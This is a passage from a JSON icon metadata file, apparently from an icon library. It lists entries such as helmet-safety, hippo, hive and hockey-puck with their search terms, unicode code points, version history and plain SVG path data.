        "path": "M445.3 224H510C495.6 108.2 403.8 16.4 288 2V66.7C368.4 80.1 431.9 143.6 445.3 224zM510 288H445.3C431.9 368.4 368.4 431.9 288 445.4V510c115.8-14.4 207.6-106.2 222-222zM2 288C16.4 403.8 108.2 495.6 224 510V445.4C143.6 431.9 80.1 368.4 66.7 288H2zm0-64H66.7C80.1 143.6 143.6 80.1 224 66.7V2C108.2 16.4 16.4 108.2 2 224zm206-64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352c0 17.7 14.3 32 32 32s32-14.3 32-32V288h96v64c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H208V160z"
      }
    },
    "free": ["solid"]
  },
  "helmet-safety": {
    "aliases": {
      "names": ["hard-hat", "hat-hard"],
      "unicodes": {
        "secondary": ["10f807"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["construction", "hardhat", "helmet", "safety"]
    },
    "styles": ["solid"],
    "unicode": "f807",
    "label": "Helmet Safety",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M256 32c-17.7 0-32 14.3-32 32v2.3 99.6c0 5.6-4.5 10.1-10.1 10.1c-3.6 0-7-1.9-8.8-5.1L157.1 87C83 123.5 32 199.8 32 288v64H544l0-66.4c-.9-87.2-51.7-162.4-125.1-198.6l-48 83.9c-1.8 3.2-5.2 5.1-8.8 5.1c-5.6 0-10.1-4.5-10.1-10.1V66.3 64c0-17.7-14.3-32-32-32H256zM16.6 384C7.4 384 0 391.4 0 400.6c0 4.7 2 9.2 5.8 11.9C27.5 428.4 111.8 480 288 480s260.5-51.6 282.2-67.5c3.8-2.8 5.8-7.2 5.8-11.9c0-9.2-7.4-16.6-16.6-16.6H16.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M256 32c-17.7 0-32 14.3-32 32v2.3 99.6c0 5.6-4.5 10.1-10.1 10.1c-3.6 0-7-1.9-8.8-5.1L157.1 87C83 123.5 32 199.8 32 288v64H544l0-66.4c-.9-87.2-51.7-162.4-125.1-198.6l-48 83.9c-1.8 3.2-5.2 5.1-8.8 5.1c-5.6 0-10.1-4.5-10.1-10.1V66.3 64c0-17.7-14.3-32-32-32H256zM16.6 384C7.4 384 0 391.4 0 400.6c0 4.7 2 9.2 5.8 11.9C27.5 428.4 111.8 480 288 480s260.5-51.6 282.2-67.5c3.8-2.8 5.8-7.2 5.8-11.9c0-9.2-7.4-16.6-16.6-16.6H16.6z"
      }
    },
    "free": ["solid"]
  },
  "helmet-un": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["helmet", "united nations"]
    },
    "styles": ["solid"],
    "unicode": "e503",
    "label": "Helmet Un",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M479.5 224C471.2 98.9 367.2 0 240 0C107.5 0 0 107.5 0 240v56.3C0 344.8 39.2 384 87.7 384H200h14.9L343.5 505.4c4.5 4.2 10.4 6.6 16.5 6.6h96c13.3 0 24-10.7 24-24s-10.7-24-24-24H369.5l-1.5-1.5V288h80 32c17.7 0 32-14.3 32-32s-14.3-32-32-32h-.5zM320 417.2l-78-73.7L274.4 288H320V417.2zM285.3 103.1l34.7 52V112c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V208c0 8.8-7.2 16-16 16s-16-7.2-16-16V112c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM160 112v64c0 8.8 7.2 16 16 16s16-7.2 16-16V112c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V112c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M479.5 224C471.2 98.9 367.2 0 240 0C107.5 0 0 107.5 0 240v56.3C0 344.8 39.2 384 87.7 384H200h14.9L343.5 505.4c4.5 4.2 10.4 6.6 16.5 6.6h96c13.3 0 24-10.7 24-24s-10.7-24-24-24H369.5l-1.5-1.5V288h80 32c17.7 0 32-14.3 32-32s-14.3-32-32-32h-.5zM320 417.2l-78-73.7L274.4 288H320V417.2zM285.3 103.1l34.7 52V112c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V208c0 8.8-7.2 16-16 16s-16-7.2-16-16V112c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM160 112v64c0 8.8 7.2 16 16 16s16-7.2 16-16V112c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V112c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "highlighter": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f591"]
      }
    },
    "changes": [
      "5.1.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "marker", "sharpie", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f591",
    "label": "Highlighter",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M315 315l158.4-215L444.1 70.6 229 229 315 315zm-187 5l0 0V248.3c0-15.3 7.2-29.6 19.5-38.6L420.6 8.4C428 2.9 437 0 446.2 0c11.4 0 22.4 4.5 30.5 12.6l54.8 54.8c8.1 8.1 12.6 19 12.6 30.5c0 9.2-2.9 18.2-8.4 25.6L334.4 396.5c-9 12.3-23.4 19.5-38.6 19.5H224l-25.4 25.4c-12.5 12.5-32.8 12.5-45.3 0l-50.7-50.7c-12.5-12.5-12.5-32.8 0-45.3L128 320zM7 466.3l63-63 70.6 70.6-31 31c-4.5 4.5-10.6 7-17 7H24c-13.3 0-24-10.7-24-24v-4.7c0-6.4 2.5-12.5 7-17z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M315 315l158.4-215L444.1 70.6 229 229 315 315zm-187 5l0 0V248.3c0-15.3 7.2-29.6 19.5-38.6L420.6 8.4C428 2.9 437 0 446.2 0c11.4 0 22.4 4.5 30.5 12.6l54.8 54.8c8.1 8.1 12.6 19 12.6 30.5c0 9.2-2.9 18.2-8.4 25.6L334.4 396.5c-9 12.3-23.4 19.5-38.6 19.5H224l-25.4 25.4c-12.5 12.5-32.8 12.5-45.3 0l-50.7-50.7c-12.5-12.5-12.5-32.8 0-45.3L128 320zM7 466.3l63-63 70.6 70.6-31 31c-4.5 4.5-10.6 7-17 7H24c-13.3 0-24-10.7-24-24v-4.7c0-6.4 2.5-12.5 7-17z"
      }
    },
    "free": ["solid"]
  },
  "hill-avalanche": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["mudslide", "snow", "winter"]
    },
    "styles": ["solid"],
    "unicode": "e507",
    "label": "Hill Avalanche",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M439.7 401.9c34.2 23.1 81.1 19.5 111.4-10.8c34.4-34.4 34.4-90.1 0-124.4c-27.8-27.8-69.5-33.1-102.6-16c-11.8 6.1-16.4 20.6-10.3 32.3s20.6 16.4 32.3 10.3c15.1-7.8 34-5.3 46.6 7.3c15.6 15.6 15.6 40.9 0 56.6s-40.9 15.6-56.6 0l-81.7-81.7C401.2 261.3 416 236.4 416 208c0-33.9-21.1-62.9-50.9-74.5c1.9-6.8 2.9-14 2.9-21.5c0-44.2-35.8-80-80-80c-27.3 0-51.5 13.7-65.9 34.6C216.3 46.6 197.9 32 176 32c-26.5 0-48 21.5-48 48c0 4 .5 7.9 1.4 11.6L439.7 401.9zM480 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM68.3 87C43.1 61.8 0 79.7 0 115.3V432c0 44.2 35.8 80 80 80H396.7c35.6 0 53.5-43.1 28.3-68.3L68.3 87z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M439.7 401.9c34.2 23.1 81.1 19.5 111.4-10.8c34.4-34.4 34.4-90.1 0-124.4c-27.8-27.8-69.5-33.1-102.6-16c-11.8 6.1-16.4 20.6-10.3 32.3s20.6 16.4 32.3 10.3c15.1-7.8 34-5.3 46.6 7.3c15.6 15.6 15.6 40.9 0 56.6s-40.9 15.6-56.6 0l-81.7-81.7C401.2 261.3 416 236.4 416 208c0-33.9-21.1-62.9-50.9-74.5c1.9-6.8 2.9-14 2.9-21.5c0-44.2-35.8-80-80-80c-27.3 0-51.5 13.7-65.9 34.6C216.3 46.6 197.9 32 176 32c-26.5 0-48 21.5-48 48c0 4 .5 7.9 1.4 11.6L439.7 401.9zM480 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM68.3 87C43.1 61.8 0 79.7 0 115.3V432c0 44.2 35.8 80 80 80H396.7c35.6 0 53.5-43.1 28.3-68.3L68.3 87z"
      }
    },
    "free": ["solid"]
  },
  "hill-rockslide": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["mudslide"]
    },
    "styles": ["solid"],
    "unicode": "e508",
    "label": "Hill Rockslide",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M252.4 103.8l27 48c2.8 5 8.2 8.2 13.9 8.2l53.3 0c5.8 0 11.1-3.1 13.9-8.2l27-48c2.7-4.9 2.7-10.8 0-15.7l-27-48c-2.8-5-8.2-8.2-13.9-8.2H293.4c-5.8 0-11.1 3.1-13.9 8.2l-27 48c-2.7 4.9-2.7 10.8 0 15.7zM68.3 87C43.1 61.8 0 79.7 0 115.3V432c0 44.2 35.8 80 80 80H396.7c35.6 0 53.5-43.1 28.3-68.3L68.3 87zM504.2 403.6c4.9 2.7 10.8 2.7 15.7 0l48-27c5-2.8 8.2-8.2 8.2-13.9V309.4c0-5.8-3.1-11.1-8.2-13.9l-48-27c-4.9-2.7-10.8-2.7-15.7 0l-48 27c-5 2.8-8.2 8.2-8.2 13.9v53.3c0 5.8 3.1 11.1 8.2 13.9l48 27zM192 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM384 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M252.4 103.8l27 48c2.8 5 8.2 8.2 13.9 8.2l53.3 0c5.8 0 11.1-3.1 13.9-8.2l27-48c2.7-4.9 2.7-10.8 0-15.7l-27-48c-2.8-5-8.2-8.2-13.9-8.2H293.4c-5.8 0-11.1 3.1-13.9 8.2l-27 48c-2.7 4.9-2.7 10.8 0 15.7zM68.3 87C43.1 61.8 0 79.7 0 115.3V432c0 44.2 35.8 80 80 80H396.7c35.6 0 53.5-43.1 28.3-68.3L68.3 87zM504.2 403.6c4.9 2.7 10.8 2.7 15.7 0l48-27c5-2.8 8.2-8.2 8.2-13.9V309.4c0-5.8-3.1-11.1-8.2-13.9l-48-27c-4.9-2.7-10.8-2.7-15.7 0l-48 27c-5 2.8-8.2 8.2-8.2 13.9v53.3c0 5.8 3.1 11.1 8.2 13.9l48 27zM192 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM384 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "hippo": {
    "aliases": {
      "unicodes": {
        "composite": ["1f99b"],
        "secondary": ["10f6ed"]
      }
    },
    "changes": [
      "5.4.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["animal", "fauna", "hippo", "hippopotamus", "hungry", "mammal"]
    },
    "styles": ["solid"],
    "unicode": "f6ed",
    "label": "Hippo",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M407 47c9.4-9.4 24.6-9.4 33.9 0l17.2 17.2c1.9-.1 3.9-.2 5.8-.2h32c11.2 0 21.9 2.3 31.6 6.5L543 55c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L564 101.9c7.6 12.2 12 26.7 12 42.1c0 10.2 7.4 18.8 16.7 23c27.9 12.5 47.3 40.5 47.3 73c0 26.2-12.6 49.4-32 64v32c0 8.8-7.2 16-16 16H560c-8.8 0-16-7.2-16-16V320H480v16c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V318.4c-11.8-2.4-22.7-7.4-32-14.4c-1.5-1.1-2.9-2.3-4.3-3.5c-17-14.7-27.7-36.4-27.7-60.5c0-8.8-7.2-16-16-16s-16 7.2-16 16c0 44.7 26.2 83.2 64 101.2V352c0 17.7 14.3 32 32 32h32v64c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V372c-19.8 7.7-41.4 12-64 12s-44.2-4.3-64-12v76c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V329.1L45.9 369.7c-5.4 12.1-19.6 17.6-31.7 12.2S-3.3 362.4 2.1 350.3L24 300.9c5.3-11.9 8-24.7 8-37.7C32 155.7 117.2 68 223.8 64.1l.2-.1h7.2H256h32c41.7 0 83.4 12.1 117.2 25.7c1.7-1.8 3.5-3.6 5.3-5.2L407 81c-9.4-9.4-9.4-24.6 0-33.9zm73 185a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm88 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM480 144a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M407 47c9.4-9.4 24.6-9.4 33.9 0l17.2 17.2c1.9-.1 3.9-.2 5.8-.2h32c11.2 0 21.9 2.3 31.6 6.5L543 55c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L564 101.9c7.6 12.2 12 26.7 12 42.1c0 10.2 7.4 18.8 16.7 23c27.9 12.5 47.3 40.5 47.3 73c0 26.2-12.6 49.4-32 64v32c0 8.8-7.2 16-16 16H560c-8.8 0-16-7.2-16-16V320H480v16c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V318.4c-11.8-2.4-22.7-7.4-32-14.4c-1.5-1.1-2.9-2.3-4.3-3.5c-17-14.7-27.7-36.4-27.7-60.5c0-8.8-7.2-16-16-16s-16 7.2-16 16c0 44.7 26.2 83.2 64 101.2V352c0 17.7 14.3 32 32 32h32v64c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V372c-19.8 7.7-41.4 12-64 12s-44.2-4.3-64-12v76c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V329.1L45.9 369.7c-5.4 12.1-19.6 17.6-31.7 12.2S-3.3 362.4 2.1 350.3L24 300.9c5.3-11.9 8-24.7 8-37.7C32 155.7 117.2 68 223.8 64.1l.2-.1h7.2H256h32c41.7 0 83.4 12.1 117.2 25.7c1.7-1.8 3.5-3.6 5.3-5.2L407 81c-9.4-9.4-9.4-24.6 0-33.9zm73 185a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm88 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM480 144a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "hips": {
    "changes": ["5.0.5"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f452",
    "label": "Hips",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z"
      }
    },
    "free": ["brands"]
  },
  "hire-a-helper": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b0",
    "label": "HireAHelper",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z"
      }
    },
    "free": ["brands"]
  },
  "hive": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07f",
    "label": "Hive Blockchain Network",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z"
      }
    },
    "free": ["brands"]
  },
  "hockey-puck": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f453"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ice", "nhl", "sport"]
    },
    "styles": ["solid"],
    "unicode": "f453",
    "label": "Hockey Puck",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 256C114.6 256 0 213 0 160s114.6-96 256-96s256 43 256 96s-114.6 96-256 96zm192.3 1.8c24.7-9.3 46.9-21 63.7-35.6V352c0 53-114.6 96-256 96S0 405 0 352V222.3c16.8 14.6 39 26.3 63.7 35.6C114.5 276.9 182.5 288 256 288s141.5-11.1 192.3-30.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 256C114.6 256 0 213 0 160s114.6-96 256-96s256 43 256 96s-114.6 96-256 96zm192.3 1.8c24.7-9.3 46.9-21 63.7-35.6V352c0 53-114.6 96-256 96S0 405 0 352V222.3c16.8 14.6 39 26.3 63.7 35.6C114.5 276.9 182.5 288 256 288s141.5-11.1 192.3-30.2z"
      }
    },
    "free": ["solid"]
  },
  "holly-berry": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7aa"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "catwoman",
        "christmas",
        "decoration",
        "flora",
        "halle",
        "holiday",
        "ororo munroe",
        "plant",
        "storm",
        "xmas"
      ]
    },
    "styles": ["solid"],
